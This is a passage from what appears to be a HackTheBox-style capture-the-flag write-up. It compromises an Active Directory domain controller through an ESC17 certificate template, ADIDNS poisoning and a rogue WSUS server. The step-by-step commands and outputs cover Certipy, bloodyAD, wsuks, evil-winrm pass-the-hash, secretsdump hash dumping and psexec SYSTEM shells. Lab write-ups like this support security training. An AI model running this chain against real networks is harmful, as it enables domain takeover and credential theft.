TlmEUxbJOKVpqzZtr1fUA5Tcpnx2C9++jx1qQRYNsAZuqyvTTc6w3/xzCemZ88rfy2jRVscdpHUlozArOpRU0qELEGK+reTFFH8sQAyKQBqaLg/PEDwdce3YaHjinawFQ0M5J7owHk9hE8v7JX7EUTJMisBm/AFVRhgw76Zl1aTli0lxb3Q0jrTfUniPDu3SpveW6WmitwsRMU4PPvLnNNFG8zDcBH8Mg+TzXNJ6jWHbVU4qsFxQC5o6q+pR7ypOWJM+0NZtSrgHf4O9UCn/5vo qDyC44kg3aug0U+FqSJQLp+MeltmkygJ7tEsbBBki4AhuPhsLpUdY/mmPolij9Px2mLfK9kBjTPIyl18SGT6M95e0ZrewqhDSeEvljy9ZO2Kar286sKArUSM/5UEoRWZWh+jtOjwN7ou/vtFqppnJOAi//rw/0nhgx168gqbSR2gUaZS4EXPo+zatvXA7CBQiMrqS1i7mPS05P5lFMgZXj3OHffUVN2HCjbL/ITedOQbIMcBL/Y8wtBGToM5jXqHRT1aPJqUnbV8bsZIgito4Hp MIHmoAMCAQCigd4Egdt9gdgwgdWggdIwgc8wgcygKzApoAMCARKhIgQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAChDRsLTE9HR0lORy5IVEKiGzAZoAMCAQGhEjAQGw5qYXlsZWUuY2xpZnRvbqMHAwUAQOEAAKURGA8yMDI2MDQxOTE0MjMxNVqmERgPMjAyNjA0MjAwMDIzMTVapxEYDzIwMjYwNDI2MTQyMzE1WqgNGwtMT0dHSU5HLkhUQqkgMB6gAwIBAqE XMBUbBmtyYnRndBsLTE9HR0lORy5IVEI=
Then convert the base64 decoded .kirbi to ccache on attacker box:
# Decode the harvested ticket
echo -n 'doIFyDCCBcSgAwIBBaEDAgEWooIEyjCCBMZ...' | base64 -d > jaylee.kirbi
# Convert the ccache for Linux
ticketConverter.py jaylee.kirbi jaylee.ccache3.1.2 ADIDNS Poisoning Primitive
With the ticket we could look for writable objects:
export KRB5CCNAME=jaylee.ccache
ft logging.htb \
bloodyAD -H dc01.logging.htb -d logging.htb \
-u 'jaylee.clifton' -k \
get writableIt turned out we had WRITE on DomainDnsZones:
distinguishedName: DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb
permission: CREATE_CHILDThat means jaylee.clifton can add DNS records in the AD-integrated zone. And with such primitive we can exploit various Window services which queries outbound URLs.
3.1.3 Server-Auth UpdateSrv Template
Since AD CS was identified as enabled during the WinPEAS enumeration, Certipy was then used to enumerate certificate templates:
ft logging.htb \
certipy find -debug \
-u 'jaylee.clifton' -k \
-target dc01.logging.htb -dc-host dc01.logging.htb -dc-ip "$targetIp" \
-enabledInteresting template UpdateSrv:
"Certificate Templates": {
"0": {
"Template Name": "UpdateSrv",
"Display Name": "UpdateSrv",
"Certificate Authorities": [
"logging-DC01-CA"
],
"Enabled": true,
"Client Authentication": false,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": true,
"Certificate Name Flag": [
1
],
"Extended Key Usage": [
"Server Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Schema Version": 2,
"Validity Period": "10 years",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Template Created": "2026-04-17 00:41:06+00:00",
"Template Last Modified": "2026-04-17 00:41:07+00:00",
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"LOGGING.HTB\\IT",
"LOGGING.HTB\\Domain Admins",
"LOGGING.HTB\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "LOGGING.HTB\\Administrator",
"Full Control Principals": [
"LOGGING.HTB\\Domain Admins",
"LOGGING.HTB\\Enterprise Admins"
],
"Write Owner Principals": [
"LOGGING.HTB\\Domain Admins",
"LOGGING.HTB\\Enterprise Admins"
],
"Write Dacl Principals": [
"LOGGING.HTB\\Domain Admins",
"LOGGING.HTB\\Enterprise Admins"
],
"Write Property Enroll": [
"LOGGING.HTB\\Domain Admins",
"LOGGING.HTB\\Enterprise Admins"
]
}
},
"[+] User Enrollable Principals": [
"LOGGING.HTB\\IT"
]
},
...
}It was:
- enabled
- configured with
Enrollee Supplies Subject - assigned the EKU
Server Authentication - enrollable by
LOGGING.HTB\IT
The compromised jaylee.clifton account was already a member of IT.
3.2 WSUS
An incident snapshot was found under Jaylee's Documentation path:

It already told us that the target fetches update via wsus.logging.htb, whose DNS was not yet setup , but scheduled via ForceSync each 2 minutes.
3.2.1 WSUS 101
WSUS is Microsoft's internal update server. Organizations use it to control which Windows updates are deployed across domain systems.
A client can be configured through Group Policy to trust a specific WSUS server for:
- Update metadata
- Patch downloads
- Reporting status
That setting usually defines:
WUServerWUStatusServer
Common endpoints:
https://wsus.domain.local:8531http://wsus.domain.local:8530
Default ports:
8530= HTTP8531= HTTPS
If a client trusts a WSUS endpoint, control of that trusted server, namely hijack DNS record, can become a path to privileged code execution.
3.2.2 ESC17
This path matches ESC17: a template where the enrollee supplies the subject and the issued certificate is valid for server authentication.
The UpdateSrv template revealed the required conditions:
{
"Template Name": "UpdateSrv",
"Enabled": true,
"Enrollee Supplies Subject": true,
"Extended Key Usage": [
"Server Authentication"
],
"Enrollment Rights": [
"LOGGING.HTB\\IT",
"LOGGING.HTB\\Domain Admins",
"LOGGING.HTB\\Enterprise Admins"
]
}The target already exposes WSUS on 8531, and a WSUS client expects a valid HTTPS server certificate for the configured WSUS hostname. And now we know:
jaylee.cliftoncan enrollUpdateSrvthroughIT- the template allows an arbitrary server name such as
wsus.logging.htb - the issued certificate is valid for
Server Authentication jaylee.cliftonalso has DNSCREATE_CHILD, so we can createwsus.logging.htband point it to our box
So the ESC17 abuse is to mint a certificate for the fake server identity wsus.logging.htb, publish the matching DNS record, and impersonate the trusted HTTPS WSUS endpoint.
Once that trust is in place, we can stand up a rogue WSUS service on 8531 and serve a Microsoft-signed binary to execute our command as SYSTEM.
The ESC17 chain can be illustrated as:
jaylee.clifton
|
| member of IT
v
UpdateSrv template
|
| Enrollee Supplies Subject
| Server Authentication
v
Certificate for wsus.logging.htb
|
| jaylee also has DNS CREATE_CHILD
v
DNS A record: wsus.logging.htb -> attacker IP
|
| target trusts WSUS over HTTPS :8531
v
Rogue WSUS server on attacker box
|
| serve approved/signed payload
v
Code execution on DC01 as SYSTEMWith proper automation tools we don't need to manually exploit step by step.
3.2.3 WSUS Impersonation
Reference: Using ADCS to Attack HTTPS-Enabled WSUS Clients · blog.digitrace.de
3.2.3.1 WSUS Discovery
We can use the tool SharpUSUS for discovery, referencing this post.
C:\Temp>.\SharpWSUS.exe locate
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
[*] Action: Locate WSUS Server
WSUS Server: https://wsus.logging.htb:8531
[*] Locate complete
It proved the target is configured to use:
https://wsus.logging.htb:8531But Jaylee is not a WSUS admin, so direct WSUS administration is expectedly blocked:
C:\Temp>.\SharpWSUS.exe inspect
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
[*] Action: Inspect WSUS Server
Function error - FsqlConnection.
Error Message: Login failed for user 'logging\jaylee.clifton'.
Function error - FbGetWSUSConfigSQL.
Error Message: ExecuteReader: Connection property has not been initialized.
####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime
---------------------------------------------------
Function error - FbEnumAllComputers.
Error Message: ExecuteReader: Connection property has not been initialized.
####################### Downstream Server Enumeration #######################
ComputerName, OSVersion, LastCheckInTime
---------------------------------------------------
Function error - FbEnumDownStream.
Error Message: ExecuteReader: Connection property has not been initialized.
####################### Group Enumeration #######################
GroupName
---------------------------------------------------
Function error - FbEnumGroups.
Error Message: ExecuteReader: Connection property has not been initialized.
[*] Inspect complete
The exploit path is WSUS impersonation, not native SharpWSUS admin abuse.
3.2.3.2 Request WSUS Certificate
So we switched to wsuks. It matches the attack surface better, but HTTPS WSUS means we first need a certificate for the trusted host wsus.logging.htb.
The UpdateSrv template is usable by our current context (IT group) and allows a server-auth certificate for the WSUS hostname:
ft logging.htb \
certipy req \
-u '[email protected]' -k \
-target dc01.logging.htb -dc-host dc01.logging.htb -dc-ip "$targetIp" \
-ca 'logging-DC01-CA' -template 'UpdateSrv' \
-dns 'wsus.logging.htb'This gives us a certificate the clients can trust when they connect to https://wsus.logging.htb:8531:
$ ft logging.htb \ certipy req \ -u '[email protected]' -k \ -target dc01.logging.htb -dc-host dc01.logging.htb -dc-ip "$targetIp" \ -ca 'logging-DC01-CA' -template 'UpdateSrv' \ -dns 'wsus.logging.htb' [*] Querying offset from: logging.htb [*] faketime -f format: +25198.464213 25198.464213s [*] Running: certipy req -u [email protected] -k -target dc01.logging.htb -dc-host dc01.logging.htb -dc-ip 10.129.78.103 -ca logging-DC01-CA -template UpdateSrv -dns wsus.logging.htb Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Request ID is 7 [*] Successfully requested certificate [*] Got certificate with DNS Host Name 'wsus.logging.htb' [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to 'wsus.pfx' [*] Wrote certificate and private key to 'wsus.pfx'
Then split the issued PFX into a PEM bundle for wsuks:
certipy cert -pfx wsus.pfx -nokey -out wsus.crt
certipy cert -pfx wsus.pfx -nocert -out wsus.key
cat wsus.crt wsus.key > wsus.pem3.2.3.3 ADIDNS Poisoning
Earlier we confirmed CreateChild on the AD-integrated DNS zones, so we can publish our own wsus record and redirect clients to the attacker box with bloodyAD add dnsRecord:
ft logging.htb \
bloodyAD -H dc01.logging.htb -d logging.htb \
-u 'jaylee.clifton' -k \
add dnsRecord 'wsus' "$attackerIp"That bridges the gap cleanly: the hostname from discovery now resolves to us, while the certificate still matches the same hostname:
$ ft logging.htb \ bloodyAD -H dc01.logging.htb -d logging.htb \ -u 'jaylee.clifton' -k \ add dnsRecord 'wsus' "$attackerIp" [*] Querying offset from: logging.htb [*] faketime -f format: +25199.517268 25199.517268s [*] Running: bloodyAD -H dc01.logging.htb -d logging.htb -u jaylee.clifton -k add dnsRecord wsus 10.10.13.68 [+] wsus has been successfully added
Verify it on the victim side before serving the rogue endpoint:
C:\Temp>nslookup wsus.logging.htb nslookup wsus.logging.htb Server: localhost Address: 127.0.0.1 Name: wsus.logging.htb Address: 10.10.13.68
3.2.3.4 Start Rogue WSUS
With DNS and TLS aligned, we can bring up the rogue WSUS server using wsuks.
The tool wsuks needed the system nftables Python binding to run. In my Arch setup, I copied the system dependency into the using pyenv environment:
sudo pacman -S nftables
PYPATH="~/.pyenv/versions/3.13.5"
SYSPYPATH="/usr/lib/python3.14"
git clone https://github.com/NeffIsBack/wsuks.git
$PYPATH/bin/pip install ./wsuks
cp -r $SYSPYPATH/site-packages/nftables \
$PYPATH/lib/python3.13/site-packages/
sudo ln -sf $PYPATH/bin/wsuks /usr/local/bin/wsuks
wsuks --versionTo serve wsus.logging.htb as the rogue WSUS server, point it to our IP while using the DNS name for HTTPS:
echo "$attackerIp wsus.logging.htb" | sudo tee -a /etc/hostsThen run in --serve-only mode, since DNS is already poisoned and traffic will arrive directly. The -c option is the argument string passed to PsExec64.exe:
sudo wsuks --serve-only \
--WSUS-Server wsus.logging.htb \
--tls-cert wsus.pem \
-I tun0 \
-c '/accepteula /s powershell.exe -ExecutionPolicy Bypass -Command "Add-ADGroupMember -Identity \"Domain Admins\" -Members \"MSA_HEALTH$\""'For privesc we added the already-owned MSA_HEALTH$ machine account, which has the remote logon right, into Domain Admins:
$ sudo wsuks --serve-only \ --WSUS-Server wsus.logging.htb \ --tls-cert wsus.pem \ -I tun0 \ -c '/accepteula /s powershell.exe -ExecutionPolicy Bypass -Command "Add-ADGroupMember -Identity \"Domain Admins\" -Members \"MSA_HEALTH$\""' __ __ _____ _ _ _ __ _____ \ \ / // ____|| | | || |/ / / ____| \ \ /\ / /| (___ | | | || ' / | (___ \ \/ \/ / \___ \ | | | || < \___ \ \ /\ / ____) || |__| || . \ ____) | \/ \/ |_____/ \____/ |_|\_\|_____/ Pentesting Tool for the WSUS MITM Attack Made by NeffIsBack version: 1.2.1 [+] Command to execute: PsExec64.exe /accepteula /s powershell.exe -ExecutionPolicy Bypass -Command "Add-ADGroupMember -Identity \"Domain Admins\" -Members \"MSA_HEALTH$\"" [*] ===== Starting Web Server ===== [*] Using TLS certificate 'wsus.pem' for HTTPS WSUS Server [*] Starting WSUS Server on 10.10.13.68:8531... [*] Serving executable as KB: 5876493 [+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig" [+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie" [+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates" [+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie" [+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo" [+] Received GET request: /a5ace7c0-c255-4db3-891d-c57a6b8c323e/PsExec64.exe [+] GET request for exe: /a5ace7c0-c255-4db3-891d-c57a6b8c323e/PsExec64.exe
The GetExtendedUpdateInfo and GET /PsExec64.exe requests show the Windows Update client accepted the rogue update and downloaded the signed binary.
After the payload runs, reuse the existing MSA_HEALTH$ hash over WinRM and confirm the elevated domain-admin token:
$ evil-winrm -i dc01.logging.htb -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5 *Evil-WinRM* PS C:\Users\msa_health$\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ========================================= ================================================================== ======= SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeMachineAccountPrivilege Add workstations to domain Enabled SeSecurityPrivilege Manage auditing and security log Enabled SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeSystemProfilePrivilege Profile system performance Enabled SeSystemtimePrivilege Change the system time Enabled SeProfileSingleProcessPrivilege Profile single process Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeCreatePagefilePrivilege Create a pagefile Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeUndockPrivilege Remove computer from docking station Enabled SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled SeCreateSymbolicLinkPrivilege Create symbolic links Enabled SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled *Evil-WinRM* PS C:\Users\msa_health$\Documents> Get-ChildItem C:\Users\Administrator\Desktop -Force Directory: C:\Users\Administrator\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a-hs- 4/16/2026 8:24 AM 282 desktop.ini
Administrator privileges confirmed. But the root flag is not under usual path but inside the super admin toby.brynleigh home desktop:
*Evil-WinRM* PS C:\users> dir toby.brynleigh\desktop Directory: C:\users\toby.brynleigh\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 4/19/2026 1:16 PM 34 root.txt *Evil-WinRM* PS C:\users> whoami logging\msa_health$ *Evil-WinRM* PS C:\users> type C:\users\toby.brynleigh\desktop\root.txt a*****************************4
Rooted.
3.3 Hashdump
With the escalated admin token in place, dump ntd secrets:
# ft logging.htb \ secretsdump.py \ -hashes :603fc24ee01a9409f83c9d1d701485c5 \ 'logging.htb/[email protected]' [*] Querying offset from: logging.htb [*] faketime -f format: +25205.852812 25205.852812s [*] Running: secretsdump.py -hashes :603fc24ee01a9409f83c9d1d701485c5 logging.htb/[email protected] /home/Axura/.pyenv/versions/3.13.5/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for rem oval as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81. import pkg_resources Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0x36936928a3ec7aa076d5b89ac8d4a1c1 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:a0c1d1bed9126632f5f1f2b3f790bdb5::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information. [*] Dumping cached domain logon information (domain/username:hash) ...
To obtain a real Administrator session:
ft logging.htb \
getTGT.py logging.htb/Administrator \
-hashes ':a0c1d1bed9126632f5f1f2b3f790bdb5'
export KRB5CCNAME=Administrator.ccache
ft logging.htb \
psexec.py -k -no-pass \
'LOGGING.HTB/[email protected]'That yielded a full SYSTEM shell:
# ft logging.htb \ psexec.py -k -no-pass \ 'LOGGING.HTB/[email protected]' [*] Querying offset from: logging.htb [*] faketime -f format: +25205.871961 25205.871961s [*] Running: psexec.py -k -no-pass LOGGING.HTB/[email protected] /home/Axura/.pyenv/versions/3.13.5/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources. html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81. import pkg_resources Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Requesting shares on dc01.logging.htb..... [*] Found writable share ADMIN$ [*] Uploading file BUwGuTPW.exe [*] Opening SVCManager on dc01.logging.htb..... [*] Creating service paOB on dc01.logging.htb..... [*] Starting service paOB..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.8644] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami nt authority\system
Comments | NOTHING